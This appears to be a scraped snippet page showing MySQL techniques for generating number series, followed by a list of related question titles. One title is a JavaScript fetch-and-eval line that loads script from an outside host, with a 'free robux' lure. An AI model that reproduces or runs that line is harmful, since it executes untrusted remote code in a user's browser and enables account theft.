Mysql insert generate serie

WITH RECURSIVE sequence AS (
    SELECT 1 AS level
    UNION ALL
    SELECT level + 1 AS value
    FROM sequence
    WHERE sequence.level < 10
)
SELECT level
FROM sequence;

Mysql row generator

SELECT  @curRow := @curRow + 1 AS row_number
FROM    sometable 
JOIN    (SELECT @curRow := 0) r
WHERE   @curRow<100;

Source: stackoverrun.com

Similar codes

11 votes371 views5 answers
Laravel db facade
SQL
45 votes411 views5 answers
Grant all privileges mysql
SQL
1 vote305 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
3 votes379 views1 answer
What is having
SQL
7 votes327 views1 answer
Forge server hosting
SQL
0 vote370 views1 answer
Declare or use variable in snowflake
SQL
5 votes343 views2 answers
Oracle apex debug mode
SQL
0 vote365 views1 answer
Postgresql la fonction dblink_connect(unknown, unknown) n'existe pas
SQL
3 votes357 views1 answer
Locate sql server
SQL
-1 vote353 views1 answer
SQL query to convert DD/MM/YYYY to YYYY-MM-DD
SQL